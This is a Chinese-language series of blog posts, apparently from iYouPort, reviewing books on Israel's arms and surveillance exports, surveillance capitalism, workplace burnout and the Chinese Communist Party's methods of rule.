尤其是，发生在加沙的事情越来越多地发生在全球范围内。巴勒斯坦建筑师亚拉·谢里夫说："城市的巴勒斯坦化正在全球范围内发生。它是通过破坏和侵蚀发生的，同时也伴随着剧烈的气候变化"。」

——安东尼·洛文斯坦，《巴勒斯坦实验场： 以色列如何将占领技术出口到世界各地》

以色列不仅被全世界值得尊敬的人权组织称为"种族隔离国家"，而且被四分之一的美国犹太人称为"种族隔离国家"。

安东尼·洛文斯坦曾在 2016年～2020年间居住在东耶路撒冷，他对该国的专制状况提出了更多担忧，比如："以色列的所有媒体机构、出版商和作家都必须在出版前向以色列国防军（IDF）首席军事审查员提交一切被认为与外交事务和国家安全有关的报道。其他西方国家都没有这样的制度"。

但是，以色列作为"世界一流的武器工业，其装备在被占领的巴勒斯坦人身上进行测试非常方便"，这才是本书的重点。2021年，以色列的武器销售额达到113亿美元，创历史最高纪录。即使在俄罗斯入侵乌克兰之前，欧洲也是这些武器的最大接受国。以色列现在是世界十大武器交易商之一。

与其他地方一样，危险在于商业武器政策更广泛地影响着政府的优先事项。以色列很少谴责世界各地的暴行。以色列在卢旺达发生种族灭绝之前就武装了杀人成性的胡图政权，以色列是智利皮诺切特独裁政

权的主要武器供应商之一。以色列还为南非种族隔离制度、伊朗沙阿、尼加拉瓜索摩查独裁政权提供武器，并在 20世纪80年代初为危地马拉种族灭绝政权提供武器、大规模监控设备和军事顾问。

在21世纪，以色列训练了斯里兰卡警察的一支残暴部队 —— 特别行动队，并向该政权出售了在对泰米尔人的战争中使用的幼狮战斗机。缅甸也受益于以色列的武器销售，莫迪领导的印度已成为以色列的主要武器出口市场。

以色列一直谨慎地谴责俄罗斯无端入侵乌克兰，并向俄罗斯出售用于对付持不同政见者的监视设备。作者指出："因此，以色列是俄罗斯沦为专制国家的同谋。"

洛温斯坦还对 "美国安全部门的以色列化" 以及美国警察部门从以色列军方获得的培训表示担忧。他认为，"美墨边境已成为以色列镇压和监控公司的主要基地，他们在巴勒斯坦的工作被用作宣传噱头"。

以色列网络情报公司**NSO**开发的全球最邪恶的 **Pegasus** 间谍软件是另一个令人担忧的问题。尽管NSO老板声称该公司 "只向民主国家" 出售技术，但该间谍软件已被用于对付至少130个国家的反政府活动家和记者。2021年11月，拜登政府出人意料地将NSO列入联邦黑名单，禁止美国公司向其出售美国技术。美国商务部指责 NSO 武装外国政府，"恶意针对" 批评家和官员。然而，可以说，禁令的动机更多的是由于该公司正在蚕食美国的技术优势。

与所有国家一样，以色列的尖端武器最终不可避免地被用来对付本国公民。在**Covid**大流行期间，"距离特拉维夫六公里、拥有**21**万人口的贫穷的极端正统派社区贝内贝拉克成为了通常只针对西岸巴勒斯坦人的镇压行动的小白鼠 **……** **2020**年**4**月，贝内贝拉克被封锁 **……** 以色列科技公司 **Octopus Services** 签约提供指挥控制系统、无人机、**500**台监控摄像机和观测气球，以协助执行任务"。封锁已经完全军事化，这要归功于以色列的硬件—— 在巴勒斯坦人身上进行过 '实战检验' 的大规模社会控制武器。

埃尔比特公司是当今以色列最大的私营军火制造商。英国政府于2021年1月与埃尔比特公司签署了一项协议，此后抗议者一直以该公司为目标，关闭了位于奥尔德姆的一家工厂。最近，"巴勒斯坦行动"（Palestine Action）活动家袭击了一家与该公司有关联的会计师事务所，指 "与埃尔比特合作的公司自动成为以色列罪行的同谋"。

这本书中有很多关于以色列军火公司全球影响力的研究，令人印象深

刻。虽然《巴勒斯坦实验室》这本书的信息量非常大，但如果您非常了解军火商国家，比如英国，那也许您就不会觉得太惊讶了。在疯狂方面，他们之间没什么区别。

军火制造商的行为在任何地方都是一样的，他们从战争、压迫和不安全中牟利，并使政府政策向自己的不道德行为倾斜。卢温斯坦想说的更多：他希望能指出，以色列之所以如此行事，并不仅仅是因为这个定居者殖民国家对利润的苛刻要求，更多是因为它在政治上与其所扶持的野蛮政权有着密切的关系。他提出了一个强有力的理由：读者可以自行判断。

附：所谓的“新英格兰”是向以色列提供用于谋杀巴勒斯坦人的炸弹和武器的军事承包商的中心。这张新地图标注了这些死亡商人的位置。

□ 在这里免费下载两本书的电子版。

10月27日发布：

「图」

> 犹太复国主义修正派的鼻祖泽维·贾鲍京斯基写过一篇文章，题为

10月26日发布：

「图」

> 转评论 ——

□

原文

你只是被遗弃的尸体 - iYouPort

免费书和纪录片无处不在，无处可逃-所谓的“智能”是什么

那句已经被人们说烂了的话：”如果你不付钱，你就是产品”，其实并不准确； 我们不是什么产品，我们只是一具被遗弃的尸体。 大型技术平台就如大象偷猎者，我们的个人数据就是象牙，他们偷走了我们最珍贵的东西， 把我们的尸体扔在荒郊野外……

我的一位朋友说，每当他走进某人的家时，他都会首先大喊：“Hey, Alexa” 或者 “O.K., Google”，订购50个披萨，只是为了看看这屋里是否有语音设备会在接下来的时间里窃听他们的所有对话。嗯。这是个好主意。

Shoshana Zuboff 很会开玩笑，但你仔细想想就能知道，这可不是简单的笑话。在《监视资本主义时代》中，她警告不要将个人数字助理伪装的舒缓声音误认为亲切。已经被人们说烂了的这句话：“如果你不付钱，你就是产品“，对她来说根本不足以惊人。她将大型技术平台比作大象偷猎者，将我们的个人数据比作象牙。“你不是产品，”她说。“你只是被遗弃的尸体。”

这是一个极其准确的、绝好的类比—— 当我想到自己只是一具残缺的尸体时，我绝对不会将那些间谍设备放置在我的家里。

Zuboff 是哈佛大学商学院的名誉教授，也是《智能机器时代》（1988年）的作者。她说我们正经历着“疯狂且前所未有的资本主义方式转变”，即使我们偶尔会遇到这样惊人的消息，比如 Facebook 允许其企业客户阅读用户的私人消息、谷歌街景软件从人们的家中抓取未加密的信息—— 从不知情的计算机用户手中窃取了密码、电子邮件和其他个人信息 ……但公众仍尚未掌握这一新的局势。

如今许多人都会注意校准他们的隐私设置，与朋友分享某些内容并隐藏其他内容，但是，即便如此他们的数据仍然会在应用之间被收集和共享，以便现在或以后可能实现盈利。

谷歌和 Facebook 可能不会让你想起工业革命中咆哮的烟囱和童工，但 Zuboff 认为，它们是由那些与任何镀金时代大亨一样无情无义和追求利润的人经营着。监视资本家挖掘的不是自然景观，而是从人类经验中提取原材料。

这种商业模式几乎是偶然出现的。 Zuboff 描述了谷歌早期如何保留每个搜索产生的数据副产品—— 从拼写、到点击模式、到位置等等一切的缓存。金融危机之后谷歌决定出售广告，但广告将“高度相关”和“有针对性”，就使用谷歌从用户那里收集到的所有详细行为信息。

“这种新的市场形式宣称，服务于人们的真正需求是没有商业利润的，因此不如出售他们的行为可以赚更多钱，”Zuboff 写道。

新形式的资本家相信任何建立社区和民主化知识的模糊情绪都必需让位于经济生存的粗暴要求—— 因此他们无情地积累额外的数据来源，以及对政府立法者采取的激烈游说。

- 更多详见《国王们的晚宴》

监管资本主义之所以蓬勃发展，正是因为它满足了 Zuboff 所承认的真正的需求和欲望。在线平台为我们提供了“缓解我们生活之复杂性”的简单方法后，作为交换，我们获得了便利、效率和社交联系，而付出了基本人权的代价。

Zuboff 对谷歌进行了大量的分析和批评，但她同样对 Facebook 严厉批评，因为这些巨头是一码事。Facebook 已经学会了如何操纵人类的同理心和依恋，以增加参与度并从中赚取数十亿美元。在发给澳大利亚和新西兰广告商的文件中，Facebook 吹嘘其能够准确辨别年轻人何时可以“信心增强”。

监视资本家们喜欢把自己描绘成比他们的工业前辈更具社会开悟，但在 Zuboff 的估算中，他们要求得很多，同时给予相对较少的支持。他们的公司在“超大规模”运营：尽管市场资本庞大，但谷歌和 Facebook 各自雇用的工人数量远少于通用汽车曾经雇员的工人，即使在大萧条时期也是如此。

Zuboff 援引经济史学家 Karl Polanyi 的话说明了战后公司如何提供某种社区互惠—雇佣工人和提高工资，分享繁荣而不是囤积它。

她说，20世纪70年代新自由主义的优势地位为硅谷推动极端形式的企

业家资本主义奠定了基础，不受任何其所声称服务的社区的实质性责任的影响。

你真的愿意适应这样的世界吗？—— 监视资本家创造的世界。

Zuboff 有条不紊地将各种各样的例子拼凑成全面的学术和综合分析，你需要耐心去理解这本书，但是奖励是相当大的—它能帮助所有人提高意识，并更深入地了解所涉及的问题。

更多文摘详见《我们所有人的未来究竟在哪》

O.K., Google: How Much Money Have I Made for You Today? She likens the big tech platforms to elephant poachers, and our personal data to ivory tusks. “You are not the product,” she says. “You are the abandoned carcass.”

原文

你累吗？：倦怠的主流化 - iyouport

免费书和纪录片

倦怠如何成为了当下的流行语？

【注】本文基于一本2022年新出版的书《The End of Burnout: Why Work Drains Us and How to Build Better Lives》您可以在这里下载：https://www.patreon.com/posts/cong-guo-lao-si-65358376

银行家、TikTok 网红和哈里王子之间有什么共同点？—— 这听起来就像是世界上最无聊的笑话的前奏，但专家们保证，答案并不是笑料。这些勤奋的 “专业人士” 都患有倦怠症。

心理学家研究职业倦怠已经有五十年了，某些职业 —— 医生、社会工作者—— 早就警告过他们内部的职业倦怠问题。在过去的两年里，职业倦怠的文化地位已经发生了根本性的变化。

“职业倦怠” 不再是一个专门的术语，它曾经描述的是在某些艰苦的人类服务行业的工作人员的枯竭状态。现在，倦怠是一场大火，以强大的火力在精英专业人士的队伍中燃烧。

从兽医到亚马逊的客户经理，每个人都在抱怨职业倦怠；如果《纽约时报》的报道有任何迹象的话，它似乎即将建立一个职业倦怠专栏。

“职业倦怠” 是如何成为我们这个时代的关键词的？

当然，冠状病毒大流行与这个词成为流行语有很大关系。Covid 带来了一个平行的工人疲惫的流行病。一个管理不善、似乎无休止的公共卫生紧急情况所造成的压力和社会错位，限制了工人的承受能力。然而，职业倦怠的普遍性不能仅仅归咎于Covid。虽然护士、教师和其他一线工人的疲惫在一些关于职业倦怠的讨论中占了上风，但科技、金融和媒体等领域中受过高等教育的远程工作者却最热衷于这个词。

那么，职业倦怠是否真的像世界卫生组织所划分的那样，是一种由慢性工作场所压力导致的综合症？它是抑郁症的一种形式吗？或者，它是标志着曾经支撑我们工作世界的理想主义幻觉彻底崩塌了？

乔纳森·马莱西克（Jonathan Malesic）新出版的《倦怠的终结》（The End of Burnout）这本书有一个聪明而仔细的研究，为混乱的讨论带来了清晰的思路。他对职业倦怠的过往论述投下了批判的目光，在那种论述中，这个词被泛泛地使用，而且是自我恭维式的。新闻界对职业倦怠的处理—— 如安妮·海伦·彼得森（Anne Helen Petersen）在2019年的热门文章所描述的那样，倾向于强调职业倦怠工人们的英勇努力，他们无论如何都要坚持下去，完成自己的工作。马莱西克认为，这种说法大大提升了职业倦怠的声望，因为它将这种失调与 “美国人永不停歇地工作的理想” 联系起来了；但它们充其量只是对职业倦怠的部分看法。

心理学家克里斯蒂娜·马斯拉奇（Christina Maslach）是职业倦怠研究的奠基人 —— 马斯拉奇职业倦怠量表是标准的职业倦怠评估—— 他认为职业倦怠有三个组成部分：疲惫；愤世嫉俗或人格解体（例如，在医生身上可以发现这点，他们把病人看作是需要解决的 “问题”，而不是需要治疗的人）；以及一种无效或无用的感觉。精疲力竭很容易吹嘘，而无能为力就不那么容易说得出口了。对绝望的工人作为 “劳动英雄” 的描述忽略了一个重要的事实，即：倦怠损害了你完成工作的能力。马莱西克写道，一份关于职业倦怠的精确诊断清单将减少对作为 “时髦” 的疲惫的泛泛之谈，同时帮助患有职业倦怠的人们寻求医疗。

然而，马莱西克感兴趣的不仅仅是追踪倦怠的临床历史。作为一名宗教学者，他将倦怠诊断为一种灵魂的疾病。他认为，它产生于我们对工作的理想和我们对工作的现实之间的差距。

人们对工作所能提供的东西有着强烈的幻想：幸福、自尊、身份、社区。而现实则要逊色得多。在许多经济部门中，劳动条件自20世纪70年代以来一直在恶化。随着经济逐渐变得更加不平等和无情，我们中的许多人都在加倍的幻想，希望在无休止的劳作中会找到自己所寻找的东西，成为渴望成为的人。马莱西克说，这是一个虚假承诺。虽然这本书很少转向论战，但它有强烈的道德-宗教倾向。它抨击了一种残酷的想法，即 工作赋予了尊严，因此不工作的人（老人、残疾人）缺乏价值；不，恰恰相反，尊严是所有人固有的，在为少数人的利益和多数人的疲惫而设计的工作制度中，我们并没有尊重彼此的人性。

马莱西克可能看起来不像是一个可能的倦怠代言人：从表面上看，他的工作很完美。他是一位终身教授，在他热爱的领域里授课：宗教、伦理学和神学。他的同事们都很聪明和友好，他的工资和福利也很令人满意。然而暗地里，他是以前的自己的一个空壳。他几乎无法在下午时分去上课。在异地婚姻中孤立无援的他，会在晚上吃冰淇淋，喝

啤酒。他的学生闷闷不乐、无动于衷，容易产生厌烦情绪和抄袭行为，这让他精神崩溃。

辞职后，马莱西克决心弄清楚他身上究竟发生了什么。这不是抑郁症，至少不完全是。谈话治疗和抗抑郁药物并没有帮助他。辞去工作却对他有帮助。他断定他的病症是倦怠。

富有传奇色彩的社会学家C·赖特·米尔斯（C. Wright Mills）提出，“社会学想象力”—— 对我们自己的经历如何反映更广泛的社会和历史力量的理解—— 可以帮助我们将自己看似私人的麻烦与公共问题联系起来。职业倦怠作为一种个人疾病，反映了一个破碎的劳动系统，是这种重新想象的主要候选项。

职业倦怠作为一个心理学概念的出现，与美国经济史上一个独特阶段的发展大致同步。在20世纪70年代，战后的光辉褪去，不平等开始急剧上升。二十年前临时工行业的兴起是未来发生的那些事的预兆。公司在顾问的建议下，开始裁减他们的直接雇员。马莱西克指出，“临时工成为最理想的工人”。工人开始被视为负债，而不是生产力的来源。在放松管制和工会力量下降的“帮助”下，企业完成了从资本到劳动力的大规模风险转移。同时，服务行业日益增长的主导地位对工人提出了新的情感要求—— 在服务工作中，工人的个性和情感是“主要的生产手段”，它们是雇主租用和控制的东西。

在这种情况下，一种新的工作道德准则占据了上风：社会学家艾莉森·普（Allison Pugh）称之为雇主和雇员之间的“单向荣誉系统”。雇员必须全心全意地投入工作，如果他们希望得到（或保持）一份工作的话，就只能如此—— 而同时他们也知道，雇主并没有义务作出回应。这些都是造成职业倦怠流行的主要背景条件。有一个事实值得重复：自1974年以来，劳动生产率一直在增长，但实际工资却保持不变。我们更加努力地工作，却没有得到任何回报。

同时，似乎是为了弥补日益不稳定的经济，人们对工作的幻想也变得更加强烈。努力工作可能是美国人最普遍珍视的价值观。最近的一项皮尤调查发现，80%的美国人将自己描述为“勤奋”，超过了所有其他特征。工作已经变得更糟，而人们的工作理想却仍然高涨。如果像马莱西克所说的那样，倦怠源于理想和现实之间的差异，那么倦怠就是对理想主义者的惩罚。

威廉·莫里斯（William Morris）在他著名的文章《有用的工作与无用的劳作》中，梦想着一场政治变革，所有的工作都将变得愉快。马莱西克认为，相反，工作根本就不应该是我们生活的中心。自从马克斯·

韦伯对新教伦理的研究以来，基督教思想经常被指责为灌输了有毒的工作理想。然而，马莱西克建议，这种毒药可能产生解药。宗教崇拜、犹太人的安息日：这些都是休闲活动，被认为有着比工作更高的价值。

他利用宗教思想和实践向读者展示了一些社区，在这些社区中，工作是边缘化的，或者被控制在严格遵守的范围内—— 新墨西哥州沙漠中的本笃会修道院；达拉斯的一个非营利组织，看起来像是一个梦幻般的工作场所，或一个有魅力的崇拜对象。这些例子表明，将工作置于更高的目标之下的社区如何能够在经济上生存，同时促进其成员的繁荣。

马莱西克的这本好书有一个小缺陷。尽管他小心翼翼地回顾了倦怠的临床历史，指责了当下的工作理想，并提出了组织生活的新方法，但他的中心术语的政治价值仍然不甚明确。倦怠是弱者的武器，是对不公正的工作制度的一种反击方式吗？或者它是一个自我陶醉和神经质的精英的最新表现，他们在安全地远离蹂躏蓝领阶层的“绝望的死亡”和屠宰场、监狱等“肮脏工作”的同时，还在贩卖受害者的主张？

马莱西克很关注将妇女和少数族裔推入困境的工作场所压力，他关于残疾如何能引导人们重新思考关于工作的支配性虚构的讨论—— 借鉴了残疾艺术家 Sunny Taylor 的精彩文章《不工作的权利》—— 很有启发性。但他的分析中几乎没有提到阶级，只是简单地讨论了蓝领工作现在如何被要求“白领服务道德”（不再允许脱离），以及采访了一位在轮胎制造厂工作时失去手指的狂热自行车手。他没有说职业倦怠在工人阶级中的普遍程度；这本书中例举的职业倦怠者大多是医生和大学教授。

而马莱西克找到的与倦怠最接近的历史平行点是神经衰弱—一种神经衰弱的状态，是十九世纪美国富裕的、受过高等教育的脑力劳动者的一种常见疾病。事实上，倦怠的语言已经出现在《American Nervousness》中，这是医生乔治·M·比尔德1881年发表的关于神经衰弱的经典陈述。比尔德将人类的神经系统比作一个电路，他写道：

> “有一个时期……当电力不足以使所有的灯都充分闪亮时；那些最弱的灯就会熄灭。”

这一先例的明确性提供了另一个理由，让人怀疑倦怠就像神经衰弱一样，是一种罕见的弊病。正如丹尼尔·马科维茨（Daniel Markovits）在其最近出版的《精英政治的陷阱》一书中指出的那样，我们目前的经济秩序的一个奇怪特点是超级富豪的工作强度。收入分配的前1%

主要由高管、金融家、顾问、律师和专科医生组成，他们的工作时间非常长，有时一周超过70小时。我们的工作狂精英们似乎不太可能在倦怠清单的低效率指标上获得高分（疲惫和愤世嫉俗是另一回事）。但富人设计的奇怪的工作伦理似乎与我们对职业倦怠这一文化现象的理解高度相关，特别是当它超越了传统的受害者 —— 医生、护士、教师、社会工作者、反贫律师 —— 而在更普遍的知识工作者队伍中蔓延开来。

- 如果您错过了《生活如何变成了一场无止境的可怕竞争？精英政治的圈套》

马莱西克哀叹为破坏灵魂的虚构的“劳动理想”，在很大程度上是中产阶级和上层阶级的；许多工人阶级，通过经验的教育，早就理解了工作的剥削现实。但似乎很明显的是，工人阶级的人确实会倦怠。最近的一项英国研究发现，低薪和受教育程度较低的工人更有可能觉得他们的工作毫无用处。

职业倦怠绝非美国现象。从中国的“躺平”运动到日本和韩国对过劳死的呼声，富裕国家对将繁荣变成诅咒的非人道工作理念的愤慨情绪日益高涨。瑞典和其他一些欧洲国家为倦怠的工人提供带薪休假；在芬兰，倦怠的人有资格参加带薪康复讲习班。

因此，在争取更人道的工作条件的斗争中，倦怠拥有一些有限的潜力。在说明我们对工作的大规模妄想是如何阻止我们蓬勃发展时，马莱西克为我们提供了一项服务。但是，“职业倦怠”充其量是一个过渡性术语。作为一个文化固着的话题，职业倦怠至少很容易被精英们抓住。在最大程度上，它几乎完全是一种精英现象。

职业倦怠的主流化似乎不太可能导致更有力的公众对话，讨论闲散的积极好处，或追求不那么异化的工作形式。这个词取得了文化上的突出地位，正是因为它与那些迷恋过度工作的富裕的专业人士产生了共鸣。如果知识工作者和工人阶级一直被排除在指标之外，或者以不同的方式思考他们受到的剥削，那么倦怠就不会在知识工作者和工人阶级之间建立起联盟。马莱西克希望将“倦怠”限制在官方的临床标准内。但这个术语的广泛性是其吸引力的来源；自我宣布的倦怠案例可以用来炫耀自己的勤奋，同时躲避抑郁症或其他更严重的诊断的耻辱。

倦怠是一个指标，表明我们组织工作的方式出了问题。但作为一个概念，它仍然停留在一个旧的范式中—— 一种在工业时期就已经很可疑的工作伦理，而现在，在一个极端不平等和曾经稳定的职业越来越

不稳定的时期，它更难以被信任。马莱西克的中心术语似乎注定要遵循当初神经衰弱研究的命运，也许，也是所有曾经在时代潮流中的思想的命运：明亮的火焰，然后自行熄灭。〇

The New Neurasthenia

原文

你还是你吗？ - iYouPort

免费书和纪录片监视资本主义的世界

从最强大的公司的董事会到政府都试图”推动”他们控制的人口无比的效忠，并调查所有人的内心情绪、消除任何偏离、异议或激进意图的迹象。他们做到了这一切，并且做到了让人们很高兴自己被操纵。为什么？

您在手机日历中设置的活动会触发你床头的闹钟响起；卧室内的智能恒温器可感应您的动作，打开热水并将您的动作报告到中央数据库；你的晨跑有多长以及地点在什么区域内，你的短信内容，你在自己家里说的话，你的动作行为，你的购物篮内容，你的冲动购买，您的随机搜索—— 等等所有记录，均呈现为数据，被处理，被分析，被购买，被捆绑和转售，如次级抵押贷款。一连串的被挪用经验经常如此频繁地重复，以至于我们变得麻木，忘记了这并不是对未来的一些反乌托邦想象，而是当前最大的危机。

谷歌控制了所有人类的认知，Facebook 挖掘到所有人的秘密，这些公司都意识到了自己正坐在一个庞大的新资产之上：人类的“行为盈余”，关于我们每一个想法、每一个言论和每一个行为的全部信息，都可以在这个新市场获得巨额利润，基于预测我们的每一个需求——甚至操纵我们的需求。

在这种大胆的举动中，与公地或殖民地征服的封闭相比，科技巨头单方面宣称这些以前尚未开发的资源是他们“采取的”，并且将每一项反对都搁置一边。虽然坚持认为他们的技术过于复杂而无法立法，但有些公司已倾注了数十亿美元用于反对公民监督，并在构建公共资助数据和私人生活细节的同时，他们一再拒绝建立社会责任和问责制的规范。

对于这种新的剥削形式和例外主义而言，至关重要的不同之处在于，除了剥夺我们亲密的内心生活之外，它还试图塑造、指导和控制我们的内心生活。他们的业务将对工业资本主义开创的生产的全面控制转移到对日常生活的方方面面的控制。

资产提取是如此的奇怪，如此的令人毛骨悚然，以至于几乎不可想象任何真正理解它的人将如何生活在其中—— 然而，我们所有人却如此避重就轻。

关于它的不透明性、它的阴险，让人难以思考，就像很难想到气候变化一样，这个过程将不可避免地彻底破坏社会，正如我们目前所理解的那样；同样，更快的搜索结果和导航的好处掩盖了 Shoshana Zuboff 所阐述的“监视资本主义”的更深层次的破坏性掠夺，这种力量在极其不民主的情况下对所有人实施剥削，但仍然被人们知之甚少。

正如她在重要的新书中所详述的那样，让人们对监视资本主义运作保持无知是这个新政权的核心战略之一，然而潮流正在转变：越来越多的人表达了他们对监控经济的不安，并且受到了暴躁、疏远和孤独的侵害。它所产生的完全失信的社会领域正在寻求替代方案。

从军事工业综合体和监视资本主义的有毒产品中解脱出来将是一个漫长的和艰难的过程，但其原因得到了如今已经非常丰富的资料和书籍中提供的重要分析的帮助。结合深入的技术理解和广泛的人文视野，Zuboff 撰写了可能被证明是对我们这个时代的经济—以及社会和政治—条件的第一个明确说明。

Zuboff 对这片领土并不陌生。在她"1988年出版的“智能机器时代”"一书中就谈到了他们在商业世界中出现的许多问题，这些问题如今已经在我们的日常生活中占据主导地位。

她在**20**世纪**80**年代进入一家大型制药公司，亲眼目睹了内部沟通的新工具如何首先受到员工的欢迎，人们将其视为可以更好地交流、规划和获取信息的新型社交空间，但员工个人经历的隐私方面突然变得明确和公开了，人们受到前所未有的深入审查，并成为被评论、批评和惩罚的基础。

而现在，全球所有生活的内部都暴露给了无形的监视者，他们不仅从我们的行为中获利，而且越来越多地控制着人们的每一个表达。

考虑一下曾经最流行的游戏 Pokémon Go，这是一个荒谬而透明的行为盈余与物理控制之间密切联系的典型例子。这是一个通过奖励系统调节人类动机的现实，并设计为专门用于吸引用户走向商业机会。在 2016 年游戏推出后的几天内，其创作者就透露，有吸引力的虚拟地点可以出售给出价最高的人，与麦当劳、星巴克和其他商家签订有利可图的交易，将 **Pokémon hunters** 玩家带到他们的大门口。

玩家认为他们正在玩一个游戏，而他们实际上玩的是一个完全不同的游戏，其中棋盘是看不见的，玩家自己才是棋子。

而 Pokémon Go 只是一个小小的探索，你需要将视野扩大，才能看懂谷歌和其他巨头采取的大规模调整和操纵所有人类行为的能力：一种完全由私营企业拥有和运营的全球人类行为改变手段。

Pokémon Go 在推动和指导人类行为方面的功效，并没有像心理学家 BF Skinner 所开发的玩意那么强烈，而 Skinner 是 Zuboff 在她的叙述中的重点批评对象之一。

Skinner 开发并完善了生物体内行为改变技术，并从中推断出一种植根于完全社会控制的政治。1971年出版的他的热门论文，完全超越自由和尊严规定了行为修改和重定向的未来，它拒绝了自由的概念，取而代之的是有保障的结果和个人间的一致性。

还记得《发条橙》吗？

但是，虽然在20世纪这种研究的目标总是被解释为针对“他们”—敌人、囚犯和社会不适应者—— 其含义是一个公众厌恶“精神控制”的反感和拒绝的主题，然而，今天，它的可能性操作能力已经被最高层所接受，从最强大的公司的董事会到政府都试图“推动”他们控制的人口无比的效忠，并调查所有人的内心情绪、消除任何偏离、异议或激进意图的迹象。

对于 Zuboff 来说，这种恐惧力量不仅仅是资本主义的更高层次，更有是对它的歪曲，虽然有些人可能认为这是特殊的请求，但她却在努力澄清这一切与更公平和互利的形式的区别。

由于这本书的分析置于经济理论和更广泛的资本主义和极权主义历史中，她在讨论中引入了许多有用的术语，这些术语对推动论述向前发展起了很大作用。

例如，如今关于谷歌，Facebook 及其同类产品的大部分辩论都是以隐私为框架的—— 仅仅是对自我信息的控制—— 尽管这些论点中的许多都是值得尊敬和有清晰表达的，但人们真的关心吗？似乎人们非常愿意放弃自己的私人信息，以换取短时间感知的好处，如易用性、导航和联系朋友以及晒自己。

Zuboff 则将关于隐私的对话重新定义为关于“决策权”的对话：我们可以主动决定我们自己的未来，而如今这种机制从根本上被预测性的数

据驱动系统所篡夺了。参与监视资本主义制度，并默许其对自己日常生活的更深入侵入的要求，涉及的不仅仅是对隐私权的放弃：它将你的整个人生的轨迹都放在了市场的权限和控制之下，就像 Pokémon Go 玩家走过去，被他们发光的屏幕引导着，直接进入他们从没想过要进去的商店大门，而那些商家甚至早已知道他们要来。

当这种无形强制的逻辑被应用于社会领域时，其含义变得更加令人不安。认为人类行为可以被完美地建模、预测和控制的信念，导致个人之间公平关系的崩溃和对制度信任的崩溃，算法取代了任何表面上的参与性民主社会。

在这种所谓的人类行为完善之下，完全没有诉诸集体、可争议的决策或负责任的商业行为。监视资本主义，作为日常生活的代码，消除了自由意志和自由市场。

经验表明，世界—生活本身—是偶然的，并且由变化来定义的。正如监视资本家对完全控制、完美表达和无差错的未来的看法一样令人恐惧，其视野和由此产生的暴力的不可避免的失败—— 在我们分裂的世界观中已经很明显，相互竞争的原教旨主义，社会纽带的弱化，和彼此的不信任—— 或许更是如此。

The Age of Surveillance Capitalism by Shoshana Zuboff review—we are the pawns. Tech companies want to control every aspect of what we do, for profit. A bold, important book identifies our new era of capitalism

原文

党与人民：21 世纪的中国政治 - iyouport

免费书和纪录片

党的统治不仅仅是通过镇压措施，它还通过欺骗。它成功地骗取了多数人的认可。反抗者必需能打破这种 "党和人民" 的关系，否则可能很难获得联合力量。

本文来自一本书 The Party and the People: Chinese Politics in the 21st Century，作者 Bruce J. Dickson；和 一部电影 Lost Course，By Jill Li。

📌 其中相关的两本书在这里下载：https://www.patreon.com/posts/dang-yu-ren-min-53261543

中国共产党（CCP）是在一个世纪前的七月成立的，当时代表六个不同的马克思主义小组的13个人在上海开会。

1921年的那一天，现代中国的未来并没有完全确定。与会者几乎没有达成一致意见，没有解决冲突的机制，并被警察的突袭打断，这迫使他们逃离，并在城市西南约60英里处的南湖的一艘船上结束了会议。

这些人的共同点是对中国的困境进行了马克思主义的诊断，并相信一个共产党将领导群众对封建主义和帝国主义力量进行暴力革命。

若干年后，当与列宁主义的组织机构相结合时，这种意识形态使中国共产党能够对行动者所希望的东西以及他们如何能够实现这些目标形成一种持久的垄断。正如该党的理论家和国家元首刘少奇在他1939年的文章《怎样做一个好的共产党员》中所言：“党的纪律是必要的，应该加强。. . . ...我们必须提高同志们的意识，让他们知道自己必须服从 ..... 党的组织”。

这种对社会理想和政治生活的双重控制一直指导着中国共产党的实践和运作，直到今天。1949年的革命使中国共产党上台并建立了 “中华人民共和国”（PRC），此后的政治控制是通过将每个人置于依赖党的基本物质需求的地位来实现的：党负责分配工作、发放住房和食物、

提供教育以及提供基本消费品。同时，意识形态控制是通过奖惩制度 —— 晋升或降级、奖金或罚款、额外的或更少的商品来实现的。这些措施在整个毛泽东时代（1949–1976年）塑造了利益并指导了社会行动，而毛泽东本人也经常在从工作场所的纪律到计划生育的各个方面援引“为国家服务”的道德激励。

今天的中国共产党行使着新的、更细微的社会和意识形态方面的权力。它有一个遍布政府和社会组织的庞大网络，监控各种活动，强制意识形态教育，并转达党的政策和决定。

在身体接触结束的地方，技术接管了。脸部识别和电话跟踪软件使该党能够准确定位全国各地任何人的一举一动。一个所谓的社会信用评分系统汇编了有关财务和账单支付的所有信息，以及违反法律和法院判决的信息。正在进行的监控提议将工作历史、与邻居的关系、以及在线的活动加入到该监控系统收集的数据范围中。这个系统已经被用来拒绝贷款、让人们失去工作机会和晋升机会，限制旅行的能力，甚至影响一个人的子女的教育前景。

正如《纽约时报》中国报道的任何读者所知道的那样，该党经常使用这些手段来清除和镇压异议。但是，为了今天的治理和统治，该党也有选择地回应社会需求，规定了可以表达不满和采取行动的形式。只要不谴责党，就可以进行非暴力抗议；物质利益被认为比污染或生活质量等问题更重要；某些民间团体被批准与党合作提供公共产品。

乡村选举甚至在党的官方口号下举行，以“维护民主[????]”。通过这些措施，党不仅要维持权力，而且要维护和运作一个支配所有社会和政治行动的系统。正如现任国家主席兼总书记习近平在2017年党的十九大上发言时所说的那样：“政府、军队、社会和学校—— 北部、南部、东部和西部—— 党是一切的领导者。”

在收入增加、教育水平提高和公民需求增加的情况下，这种一党制国家的生存能力越来越受到质疑。事实上，中国的观察家们经常预言中国共产党的结束和后毛泽东时代“民主”的到来。诸如 Gordon G. Chang 的 The Coming Collapse of China（2001年）、Bruce Gilley 的 China’s Democratic Future（2005年）和 Jiwei Ci 的 Democracy in China，都传达了一种普遍的信念，即 政治自由化注定要跟随1970年代末开始的经济自由化。对这些观察家们来说，中国的“民主转型”是不可避免的，一些人预测它最快将于2025年到来。

最近的两部作品 —— 政治学家 Bruce Dickson 的新书《党与人民》和电影制片人 Jill Li 的2019年纪录片《迷途》—— 则揭示了这些论

点的深刻局限性，有助于解释中国持久的政治稳定和该党在大多数中国人眼中的持续合法性。它们共同表明，中国共产党的持久性取决于对社会活动的战略操纵，这种操纵超越了正式的政治进程，限制了社会想象力，重新定义了“民主”的意义。

民主不等于自决。认识到这点，您就不会被所谓的“重新定义”所干扰。《从民主到自由》

三十年来，Dickson 的著作与自由主义现代化理论背道而驰，后者主张发展与民主化之间存在因果关系。他的第一份研究报告《中国和台湾的民主化》（1997年）预测，中国不会走台湾和韩国的道路，这与人们普遍认为的民主会被1989年的天安门大屠杀和1990年代的经济增长所逼迫出来的观点相反。Dickson 认为，这个党将通过经济增长产生足够的绩效合法性，以避免政治转型 —— 迄今为止，他是正确的。

